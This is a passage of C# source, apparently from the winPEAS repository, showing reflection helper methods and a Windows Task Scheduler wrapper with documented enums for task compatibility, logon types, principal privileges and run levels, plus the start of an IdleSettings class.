name=\"instArgs\">The arguments to supply to the constructor.</param>\n        /// <param name=\"methodName\">Name of the method.</param>\n        /// <param name=\"args\">The arguments to provide to the method invocation.</param>\n        /// <returns>The value returned from the method.</returns>\n        public static T InvokeMethod<T>(Type type, object[] instArgs, string methodName, params object[] args)\n        {\n            object o = Activator.CreateInstance(type, instArgs);\n            return InvokeMethod<T>(o, methodName, args);\n        }\n\n        /// <summary>Invokes a named method on an object with parameters and no return value.</summary>\n        /// <param name=\"obj\">The object on which to invoke the method.</param>\n        /// <param name=\"methodName\">Name of the method.</param>\n        /// <param name=\"args\">The arguments to provide to the method invocation.</param>\n        public static T InvokeMethod<T>(object obj, string methodName, params object[] args)\n        {\n            Type[] argTypes = (args == null || args.Length == 0) ? Type.EmptyTypes : Array.ConvertAll(args, delegate (object o) { return o == null ? typeof(object) : o.GetType(); });\n            return InvokeMethod<T>(obj, methodName, argTypes, args);\n        }\n\n        /// <summary>Invokes a named method on an object with parameters and no return value.</summary>\n        /// <typeparam name=\"T\">The expected type of the method's return value.</typeparam>\n        /// <param name=\"obj\">The object on which to invoke the method.</param>\n        /// <param name=\"methodName\">Name of the method.</param>\n        /// <param name=\"argTypes\">The types of the <paramref name=\"args\"/>.</param>\n        /// <param name=\"args\">The arguments to provide to the method invocation.</param>\n        /// <returns>The value returned from the method.</returns>\n        public static T InvokeMethod<T>(object obj, string methodName, Type[] argTypes, object[] args)\n        {\n            MethodInfo mi = obj?.GetType().GetMethod(methodName, argTypes);\n            if (mi != null)\n                return (T)Convert.ChangeType(mi.Invoke(obj, args), typeof(T));\n            return default(T);\n        }\n\n        /// <summary>Gets a named property value from an object.</summary>\n        /// <typeparam name=\"T\">The expected type of the property to be returned.</typeparam>\n        /// <param name=\"obj\">The object from which to retrieve the property.</param>\n        /// <param name=\"propName\">Name of the property.</param>\n        /// <param name=\"defaultValue\">The default value to return in the instance that the property is not found.</param>\n        /// <returns>The property value, if found, or the <paramref name=\"defaultValue\"/> if not.</returns>\n        public static T GetProperty<T>(object obj, string propName, T defaultValue = default(T))\n        {\n            if (obj != null)\n            {\n                try { return (T)Convert.ChangeType(obj.GetType().InvokeMember(propName, BindingFlags.GetProperty | BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, obj, null, null), typeof(T)); }\n                catch { }\n            }\n            return defaultValue;\n        }\n\n        /// <summary>Sets a named property on an object.</summary>\n        /// <typeparam name=\"T\">The type of the property to be set.</typeparam>\n        /// <param name=\"obj\">The object on which to set the property.</param>\n        /// <param name=\"propName\">Name of the property.</param>\n        /// <param name=\"value\">The property value to set on the object.</param>\n        public static void SetProperty<T>(object obj, string propName, T value)\n        {\n            try { obj?.GetType().InvokeMember(propName, BindingFlags.SetProperty | BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, obj, new object[] { value }, null); }\n            catch { }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/Task.cs",
    "content": "﻿using System;\nusing System.Collections;\nusing System.Collections.Generic;\nusing System.ComponentModel;\nusing System.Diagnostics;\nusing System.Globalization;\nusing System.IO;\nusing System.Linq;\nusing System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\nusing System.Runtime.InteropServices.ComTypes;\nusing System.Runtime.Serialization.Formatters.Binary;\nusing System.Security;\nusing System.Security.AccessControl;\nusing System.Security.Principal;\nusing System.Text;\nusing System.Text.RegularExpressions;\nusing System.Xml;\nusing System.Xml.Schema;\nusing System.Xml.Serialization;\nusing winPEAS.TaskScheduler.TaskEditor.Native;\nusing winPEAS.TaskScheduler.V1;\nusing winPEAS.TaskScheduler.V2;\nusing IPrincipal = winPEAS.TaskScheduler.V2.IPrincipal;\nusing TaskStatus = winPEAS.TaskScheduler.V1.TaskStatus;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>Defines what versions of Task Scheduler or the AT command that the task is compatible with.</summary>\n    public enum TaskCompatibility\n    {\n        /// <summary>The task is compatible with the AT command.</summary>\n        AT,\n\n        /// <summary>\n        /// The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000).\n        /// <para>Items not available when compared to V2:</para>\n        /// <list type=\"bullet\">\n        /// <item>\n        /// <term>TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property.</term>\n        /// </item>\n        /// <item>\n        /// <term>TaskLogonType values Group, None and S4U are not supported.</term>\n        /// </item>\n        /// <item>\n        /// <term>TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported.</term>\n        /// </item>\n        /// <item>\n        /// <term>\n        /// Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition.\n        /// </term>\n        /// </item>\n        /// <item>\n        /// <term>\n        /// TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See\n        /// details in the remarks for <see cref=\"TaskDefinition.Data\"/>.\n        /// </term>\n        /// </item>\n        /// <item>\n        /// <term>TaskDefinition.Settings.AllowDemandStart cannot be false.</term>\n        /// </item>\n        /// <item>\n        /// <term>TaskDefinition.Settings.AllowHardTerminate cannot be false.</term>\n        /// </item>\n        /// <item>\n        /// <term>TaskDefinition.Settings.MultipleInstances can only be IgnoreNew.</term>\n        /// </item>\n        /// <item>\n        /// <term>TaskDefinition.Settings.NetworkSettings cannot have any values.</term>\n        /// </item>\n        /// <item>\n        /// <term>TaskDefinition.Settings.RestartCount can only be 0.</term>\n        /// </item>\n        /// <item>\n        /// <term>TaskDefinition.Settings.StartWhenAvailable can only be false.</term>\n        /// </item>\n        /// <item>\n        /// <term>\n        /// TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has\n        /// the Version1 flag set.\n        /// </term>\n        /// </item>\n        /// <item>\n        /// <term>\n        /// TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances.\n        /// </term>\n        /// </item>\n        /// <item>\n        /// <term>TaskDefinition.Triggers cannot contain instances with delays set.</term>\n        /// </item>\n        /// <item>\n        /// <term>TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set.</term>\n        /// </item>\n        /// <item>\n        /// <term>TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set.</term>\n        /// </item>\n        /// <item>\n        /// <term>TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to <c>true</c>.</term>\n        /// </item>\n        /// <item>\n        /// <term>TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to <c>true</c>.</term>\n        /// </item>\n        /// </list>\n        /// </summary>\n        V1,\n\n        /// <summary>\n        /// The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008).\n        /// <para>\n        /// This version is the baseline for the new, non-file based Task Scheduler. See <see cref=\"TaskCompatibility.V1\"/> remarks for\n        /// functionality that was not forward-compatible.\n        /// </para>\n        /// </summary>\n        V2,\n\n        /// <summary>\n        /// The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2).\n        /// <para>Changes from V2:</para>\n        /// <list type=\"bullet\">\n        /// <item>\n        /// <term>TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default.</term>\n        /// </item>\n        /// <item>\n        /// <term>\n        /// TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the\n        /// TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set.\n        /// </term>\n        /// </item>\n        /// <item>\n        /// <term>TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned.</term>\n        /// </item>\n        /// <item>\n        /// <term>TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true.</term>\n        /// </item>\n        /// <item>\n        /// <term>TaskDefinition.UseUnifiedSchedulingEngine can be set to true.</term>\n        /// </item>\n        /// </list>\n        /// </summary>\n        V2_1,\n\n        /// <summary>\n        /// The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012).\n        /// <para>Changes from V2_1:</para>\n        /// <list type=\"bullet\">\n        /// <item>\n        /// <term>\n        /// TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive\n        /// property set to true.\n        /// </term>\n        /// </item>\n        /// <item>\n        /// <term>TaskDefinition.Settings.Volatile can be set to true.</term>\n        /// </item>\n        /// </list>\n        /// </summary>\n        V2_2,\n\n        /// <summary>\n        /// The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016).\n        /// <para>Changes from V2_2:</para>\n        /// <list type=\"bullet\">\n        /// <item>\n        /// <term>None published.</term>\n        /// </item>\n        /// </list>\n        /// </summary>\n        V2_3\n    }\n\n    /// <summary>Defines how the Task Scheduler service creates, updates, or disables the task.</summary>\n    [DefaultValue(CreateOrUpdate)]\n    public enum TaskCreation\n    {\n        /// <summary>The Task Scheduler service registers the task as a new task.</summary>\n        Create = 2,\n\n        /// <summary>\n        /// The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists.\n        /// Equivalent to Create | Update.\n        /// </summary>\n        CreateOrUpdate = 6,\n\n        /// <summary>\n        /// The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information,\n        /// see Enabled Property of TaskSettings and Enabled Property of RegisteredTask.\n        /// </summary>\n        Disable = 8,\n\n        /// <summary>\n        /// The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the\n        /// TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task\n        /// Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal.\n        /// </summary>\n        DontAddPrincipalAce = 0x10,\n\n        /// <summary>\n        /// The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration\n        /// triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration.\n        /// </summary>\n        IgnoreRegistrationTriggers = 0x20,\n\n        /// <summary>\n        /// The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger\n        /// is updated, the task will execute after the update occurs.\n        /// </summary>\n        Update = 4,\n\n        /// <summary>\n        /// The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant\n        /// cannot be combined with the Create, Update, or CreateOrUpdate values.\n        /// </summary>\n        ValidateOnly = 1\n    }\n\n    /// <summary>Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task.</summary>\n    [DefaultValue(IgnoreNew)]\n    public enum TaskInstancesPolicy\n    {\n        /// <summary>Starts new instance while an existing instance is running.</summary>\n        Parallel,\n\n        /// <summary>Starts a new instance of the task after all other instances of the task are complete.</summary>\n        Queue,\n\n        /// <summary>Does not start a new instance if an existing instance of the task is running.</summary>\n        IgnoreNew,\n\n        /// <summary>Stops an existing instance of the task before it starts a new instance.</summary>\n        StopExisting\n    }\n\n    /// <summary>Defines what logon technique is required to run a task.</summary>\n    [DefaultValue(S4U)]\n    public enum TaskLogonType\n    {\n        /// <summary>The logon method is not specified. Used for non-NT credentials.</summary>\n        None,\n\n        /// <summary>Use a password for logging on the user. The password must be supplied at registration time.</summary>\n        Password,\n\n        /// <summary>\n        /// Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is\n        /// used, no password is stored by the system and there is no access to either the network or to encrypted files.\n        /// </summary>\n        S4U,\n\n        /// <summary>User must already be logged on. The task will be run only in an existing interactive session.</summary>\n        InteractiveToken,\n\n        /// <summary>Group activation. The groupId field specifies the group.</summary>\n        Group,\n\n        /// <summary>\n        /// Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task.\n        /// </summary>\n        ServiceAccount,\n\n        /// <summary>\n        /// First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used.\n        /// The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable\n        /// than Password.\n        /// </summary>\n        InteractiveTokenOrPassword\n    }\n\n    /// <summary>Defines which privileges must be required for a secured task.</summary>\n    public enum TaskPrincipalPrivilege\n    {\n        /// <summary>Required to create a primary token. User Right: Create a token object.</summary>\n        SeCreateTokenPrivilege = 1,\n\n        /// <summary>Required to assign the primary token of a process. User Right: Replace a process-level token.</summary>\n        SeAssignPrimaryTokenPrivilege,\n\n        /// <summary>Required to lock physical pages in memory. User Right: Lock pages in memory.</summary>\n        SeLockMemoryPrivilege,\n\n        /// <summary>Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process.</summary>\n        SeIncreaseQuotaPrivilege,\n\n        /// <summary>Required to read unsolicited input from a terminal device. User Right: Not applicable.</summary>\n        SeUnsolicitedInputPrivilege,\n\n        /// <summary>Required to create a computer account. User Right: Add workstations to domain.</summary>\n        SeMachineAccountPrivilege,\n\n        /// <summary>\n        /// This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this\n        /// privilege. User Right: Act as part of the operating system.\n        /// </summary>\n        SeTcbPrivilege,\n\n        /// <summary>\n        /// Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege\n        /// identifies its holder as a security operator. User Right: Manage auditing and the security log.\n        /// </summary>\n        SeSecurityPrivilege,\n\n        /// <summary>\n        /// Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be\n        /// set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files\n        /// or other objects.\n        /// </summary>\n        SeTakeOwnershipPrivilege,\n\n        /// <summary>Required to load or unload a device driver. User Right: Load and unload device drivers.</summary>\n        SeLoadDriverPrivilege,\n\n        /// <summary>Required to gather profiling information for the entire system. User Right: Profile system performance.</summary>\n        SeSystemProfilePrivilege,\n\n        /// <summary>Required to modify the system time. User Right: Change the system time.</summary>\n        SeSystemtimePrivilege,\n\n        /// <summary>Required to gather profiling information for a single process. User Right: Profile single process.</summary>\n        SeProfileSingleProcessPrivilege,\n\n        /// <summary>Required to increase the base priority of a process. User Right: Increase scheduling priority.</summary>\n        SeIncreaseBasePriorityPrivilege,\n\n        /// <summary>Required to create a paging file. User Right: Create a pagefile.</summary>\n        SeCreatePagefilePrivilege,\n\n        /// <summary>Required to create a permanent object. User Right: Create permanent shared objects.</summary>\n        SeCreatePermanentPrivilege,\n\n        /// <summary>\n        /// Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless\n        /// of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL.\n        /// This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this\n        /// privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories.\n        /// </summary>\n        SeBackupPrivilege,\n\n        /// <summary>\n        /// Required to perform restore operations. This privilege causes the system to grant all write access control to any file,\n        /// regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally,\n        /// this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is\n        /// required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER,\n        /// ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories.\n        /// </summary>\n        SeRestorePrivilege,\n\n        /// <summary>Required to shut down a local system. User Right: Shut down the system.</summary>\n        SeShutdownPrivilege,\n\n        /// <summary>Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs.</summary>\n        SeDebugPrivilege,\n\n        /// <summary>Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits.</summary>\n        SeAuditPrivilege,\n\n        /// <summary>\n        /// Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right:\n        /// Modify firmware environment values.\n        /// </summary>\n        SeSystemEnvironmentPrivilege,\n\n        /// <summary>\n        /// Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all\n        /// traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking.\n        /// </summary>\n        SeChangeNotifyPrivilege,\n\n        /// <summary>Required to shut down a system by using a network request. User Right: Force shutdown from a remote system.</summary>\n        SeRemoteShutdownPrivilege,\n\n        /// <summary>Required to undock a laptop. User Right: Remove computer from docking station.</summary>\n        SeUndockPrivilege,\n\n        /// <summary>\n        /// Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read\n        /// all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is\n        /// assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data.\n        /// </summary>\n        SeSyncAgentPrivilege,\n\n        /// <summary>\n        /// Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be\n        /// trusted for delegation.\n        /// </summary>\n        SeEnableDelegationPrivilege,\n\n        /// <summary>Required to enable volume management privileges. User Right: Manage the files on a volume.</summary>\n        SeManageVolumePrivilege,\n\n        /// <summary>\n        /// Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not\n        /// supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4.\n        /// </summary>\n        SeImpersonatePrivilege,\n\n        /// <summary>\n        /// Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is\n        /// enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows\n        /// XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with\n        /// SP2, and Windows 2000 with SP4.\n        /// </summary>\n        SeCreateGlobalPrivilege,\n\n        /// <summary>Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller.</summary>\n        SeTrustedCredManAccessPrivilege,\n\n        /// <summary>Required to modify the mandatory integrity level of an object. User Right: Modify an object label.</summary>\n        SeRelabelPrivilege,\n\n        /// <summary>\n        /// Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set.\n        /// </summary>\n        SeIncreaseWorkingSetPrivilege,\n\n        /// <summary>Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone.</summary>\n        SeTimeZonePrivilege,\n\n        /// <summary>Required to create a symbolic link. User Right: Create symbolic links.</summary>\n        SeCreateSymbolicLinkPrivilege\n    }\n\n    /// <summary>\n    /// Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of\n    /// process SID in the IPrincipal2 interface.\n    /// </summary>\n    public enum TaskProcessTokenSidType\n    {\n        /// <summary>No changes will be made to the process token groups list.</summary>\n        None = 0,\n\n        /// <summary>\n        /// A task SID that is derived from the task name will be added to the process token groups list, and the token default\n        /// discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the\n        /// account SID read control.\n        /// </summary>\n        Unrestricted = 1,\n\n        /// <summary>A Task Scheduler will apply default settings to the task process.</summary>\n        Default = 2\n    }\n\n    /// <summary>Defines how a task is run.</summary>\n    [Flags]\n    public enum TaskRunFlags\n    {\n        /// <summary>The task is run with all flags ignored.</summary>\n        NoFlags = 0,\n\n        /// <summary>The task is run as the user who is calling the Run method.</summary>\n        AsSelf = 1,\n\n        /// <summary>The task is run regardless of constraints such as \"do not run on batteries\" or \"run only if idle\".</summary>\n        IgnoreConstraints = 2,\n\n        /// <summary>The task is run using a terminal server session identifier.</summary>\n        UseSessionId = 4,\n\n        /// <summary>The task is run using a security identifier.</summary>\n        UserSID = 8\n    }\n\n    /// <summary>Defines LUA elevation flags that specify with what privilege level the task will be run.</summary>\n    public enum TaskRunLevel\n    {\n        /// <summary>Tasks will be run with the least privileges.</summary>\n        [XmlEnum(\"LeastPrivilege\")]\n        LUA,\n\n        /// <summary>Tasks will be run with the highest privileges.</summary>\n        [XmlEnum(\"HighestAvailable\")]\n        Highest\n    }\n\n    /// <summary>\n    /// Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify\n    /// the type of state change in the SessionStateChangeTrigger.\n    /// </summary>\n    public enum TaskSessionStateChangeType\n    {\n        /// <summary>\n        /// Terminal Server console connection state change. For example, when you connect to a user session on the local computer by\n        /// switching users on the computer.\n        /// </summary>\n        ConsoleConnect = 1,\n\n        /// <summary>\n        /// Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by\n        /// switching users on the computer.\n        /// </summary>\n        ConsoleDisconnect = 2,\n\n        /// <summary>\n        /// Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop\n        /// Connection program from a remote computer.\n        /// </summary>\n        RemoteConnect = 3,\n\n        /// <summary>\n        /// Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the\n        /// Remote Desktop Connection program from a remote computer.\n        /// </summary>\n        RemoteDisconnect = 4,\n\n        /// <summary>\n        /// Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked.\n        /// </summary>\n        SessionLock = 7,\n\n        /// <summary>\n        /// Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked.\n        /// </summary>\n        SessionUnlock = 8\n    }\n\n    /// <summary>Options for use when calling the SetSecurityDescriptorSddlForm methods.</summary>\n    [Flags]\n    public enum TaskSetSecurityOptions\n    {\n        /// <summary>No special handling.</summary>\n        None = 0,\n\n        /// <summary>The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal.</summary>\n        DontAddPrincipalAce = 0x10\n    }\n\n    /***** WAITING TO DETERMINE USE CASE *****\n\t/// <summary>Success and error codes that some methods will expose through <see cref=\"COMExcpetion\"/>.</summary>\n\tpublic enum TaskResultCode\n\t{\n\t\t/// <summary>The task is ready to run at its next scheduled time.</summary>\n\t\tTaskReady = 0x00041300,\n\t\t/// <summary>The task is currently running.</summary>\n\t\tTaskRunning = 0x00041301,\n\t\t/// <summary>The task will not run at the scheduled times because it has been disabled.</summary>\n\t\tTaskDisabled = 0x00041302,\n\t\t/// <summary>The task has not yet run.</summary>\n\t\tTaskHasNotRun = 0x00041303,\n\t\t/// <summary>There are no more runs scheduled for this task.</summary>\n\t\tTaskNoMoreRuns = 0x00041304,\n\t\t/// <summary>One or more of the properties that are needed to run this task on a schedule have not been set.</summary>\n\t\tTaskNotScheduled = 0x00041305,\n\t\t/// <summary>The last run of the task was terminated by the user.</summary>\n\t\tTaskTerminated = 0x00041306,\n\t\t/// <summary>Either the task has no triggers or the existing triggers are disabled or not set.</summary>\n\t\tTaskNoValidTriggers = 0x00041307,\n\t\t/// <summary>Event triggers do not have set run times.</summary>\n\t\tEventTrigger = 0x00041308,\n\t\t/// <summary>A task's trigger is not found.</summary>\n\t\tTriggerNotFound = 0x80041309,\n\t\t/// <summary>One or more of the properties required to run this task have not been set.</summary>\n\t\tTaskNotReady = 0x8004130A,\n\t\t/// <summary>There is no running instance of the task.</summary>\n\t\tTaskNotRunning = 0x8004130B,\n\t\t/// <summary>The Task Scheduler service is not installed on this computer.</summary>\n\t\tServiceNotInstalled = 0x8004130C,\n\t\t/// <summary>The task object could not be opened.</summary>\n\t\tCannotOpenTask = 0x8004130D,\n\t\t/// <summary>The object is either an invalid task object or is not a task object.</summary>\n\t\tInvalidTask = 0x8004130E,\n\t\t/// <summary>No account information could be found in the Task Scheduler security database for the task indicated.</summary>\n\t\tAccountInformationNotSet = 0x8004130F,\n\t\t/// <summary>Unable to establish existence of the account specified.</summary>\n\t\tAccountNameNotFound = 0x80041310,\n\t\t/// <summary>Corruption was detected in the Task Scheduler security database; the database has been reset.</summary>\n\t\tAccountDbaseCorrupt = 0x80041311,\n\t\t/// <summary>Task Scheduler security services are available only on Windows NT.</summary>\n\t\tNoSecurityServices = 0x80041312,\n\t\t/// <summary>The task object version is either unsupported or invalid.</summary>\n\t\tUnknownObjectVersion = 0x80041313,\n\t\t/// <summary>The task has been configured with an unsupported combination of account settings and run time options.</summary>\n\t\tUnsupportedAccountOption = 0x80041314,\n\t\t/// <summary>The Task Scheduler Service is not running.</summary>\n\t\tServiceNotRunning = 0x80041315,\n\t\t/// <summary>The task XML contains an unexpected node.</summary>\n\t\tUnexpectedNode = 0x80041316,\n\t\t/// <summary>The task XML contains an element or attribute from an unexpected namespace.</summary>\n\t\tNamespace = 0x80041317,\n\t\t/// <summary>The task XML contains a value which is incorrectly formatted or out of range.</summary>\n\t\tInvalidValue = 0x80041318,\n\t\t/// <summary>The task XML is missing a required element or attribute.</summary>\n\t\tMissingNode = 0x80041319,\n\t\t/// <summary>The task XML is malformed.</summary>\n\t\tMalformedXml = 0x8004131A,\n\t\t/// <summary>The task is registered, but not all specified triggers will start the task.</summary>\n\t\tSomeTriggersFailed = 0x0004131B,\n\t\t/// <summary>The task is registered, but may fail to start. Batch logon privilege needs to be enabled for the task principal.</summary>\n\t\tBatchLogonProblem = 0x0004131C,\n\t\t/// <summary>The task XML contains too many nodes of the same type.</summary>\n\t\tTooManyNodes = 0x8004131D,\n\t\t/// <summary>The task cannot be started after the trigger end boundary.</summary>\n\t\tPastEndBoundary = 0x8004131E,\n\t\t/// <summary>An instance of this task is already running.</summary>\n\t\tAlreadyRunning = 0x8004131F,\n\t\t/// <summary>The task will not run because the user is not logged on.</summary>\n\t\tUserNotLoggedOn = 0x80041320,\n\t\t/// <summary>The task image is corrupt or has been tampered with.</summary>\n\t\tInvalidTaskHash = 0x80041321,\n\t\t/// <summary>The Task Scheduler service is not available.</summary>\n\t\tServiceNotAvailable = 0x80041322,\n\t\t/// <summary>The Task Scheduler service is too busy to handle your request. Please try again later.</summary>\n\t\tServiceTooBusy = 0x80041323,\n\t\t/// <summary>\n\t\t/// The Task Scheduler service attempted to run the task, but the task did not run due to one of the constraints in the task definition.\n\t\t/// </summary>\n\t\tTaskAttempted = 0x80041324,\n\t\t/// <summary>The Task Scheduler service has asked the task to run.</summary>\n\t\tTaskQueued = 0x00041325,\n\t\t/// <summary>The task is disabled.</summary>\n\t\tTaskDisabled = 0x80041326,\n\t\t/// <summary>The task has properties that are not compatible with earlier versions of Windows.</summary>\n\t\tTaskNotV1Compatible = 0x80041327,\n\t\t/// <summary>The task settings do not allow the task to start on demand.</summary>\n\t\tStartOnDemand = 0x80041328,\n\t}\n\t*/\n\n    /// <summary>Defines the different states that a registered task can be in.</summary>\n    public enum TaskState\n    {\n        /// <summary>The state of the task is unknown.</summary>\n        Unknown,\n\n        /// <summary>\n        /// The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled.\n        /// </summary>\n        Disabled,\n\n        /// <summary>Instances of the task are queued.</summary>\n        Queued,\n\n        /// <summary>The task is ready to be executed, but no instances are queued or running.</summary>\n        Ready,\n\n        /// <summary>One or more instances of the task is running.</summary>\n        Running\n    }\n\n    /// <summary>\n    /// Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions,\n    /// see Task Idle Conditions.\n    /// </summary>\n    [PublicAPI]\n    public sealed class IdleSettings : IDisposable, INotifyPropertyChanged\n    {\n        private readonly IIdleSettings v2Settings;\n        private ITask v1Task;\n\n        internal IdleSettings([NotNull] IIdleSettings iSettings) => v2Settings = iSettings;\n\n        internal IdleSettings([NotNull] ITask iTask) => v1Task = iTask;\n\n        /// <summary>Occurs when a property value changes.</summary>\n        public event PropertyChangedEventHandler PropertyChanged;\n\n        /// <summary>\n        /// Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run.\n        /// </summary>\n        /// <value>\n        /// A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value\n        /// is one minute. If this value is <c>TimeSpan.Zero</c>, then the delay will be set to the default of 10 minutes.\n        /// </value>\n        [DefaultValue(typeof(TimeSpan), \"00:10:00\")]\n        [XmlElement(\"Duration\")]\n        public TimeSpan IdleDuration\n        {\n            get\n            {\n                if (v2Settings != null)\n                    return Task.StringToTimeSpan(v2Settings.IdleDuration);\n                v1Task.GetIdleWait(out var _, out var deadMin);\n                return TimeSpan.FromMinutes(deadMin);\n            }\n            set\n            {\n                if (v2Settings != null)\n                {\n                    if (value != TimeSpan.Zero && value < TimeSpan.FromMinutes(1))\n                        throw new ArgumentOutOfRangeException(nameof(IdleDuration));\n                    v2Settings.IdleDuration = Task.TimeSpanToString(value);\n                }\n                else\n                {\n                    v1Task.SetIdleWait((ushort)WaitTimeout.TotalMinutes, (ushort)value.TotalMinutes);\n                }\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more\n        /// than once.\n        /// </summary>\n        [DefaultValue(false)]\n        public bool RestartOnIdle\n        {\n            get => v2Settings?.RestartOnIdle ?? v1Task.HasFlags(TaskFlags.RestartOnIdleResume);\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.RestartOnIdle = value;\n                else\n                    v1Task.SetFlags(TaskFlags.RestartOnIdleResume, value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before\n        /// the task is completed.\n        /// </summary>\n        [DefaultValue(true)]\n        public bool StopOnIdleEnd\n        {\n            get => v2Settings?.StopOnIdleEnd ?? v1Task.HasFlags(TaskFlags.KillOnIdleEnd);\n            set\n            {\n                if (v2Settings != null)\n                    v2Settings.StopOnIdleEnd = value;\n                else\n                    v1Task.SetFlags(TaskFlags.KillOnIdleEnd, value);\n                OnNotifyPropertyChanged();\n            }\n        }\n\n        /// <summary>\n        /// Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no\n        /// value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur.\n        /// </summary>\n        /// <value>\n        /// A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time\n        /// allowed is 1 minute. If this value is <c>TimeSpan.Zero</c>, then the delay will be set to the default of 1 hour.\n        /// </value>\n        [DefaultValue(typeof(TimeSpan), \"01:00:00\")]\n        public TimeSpan WaitTimeout\n        {\n            get\n            {\n                if (v2Settings != 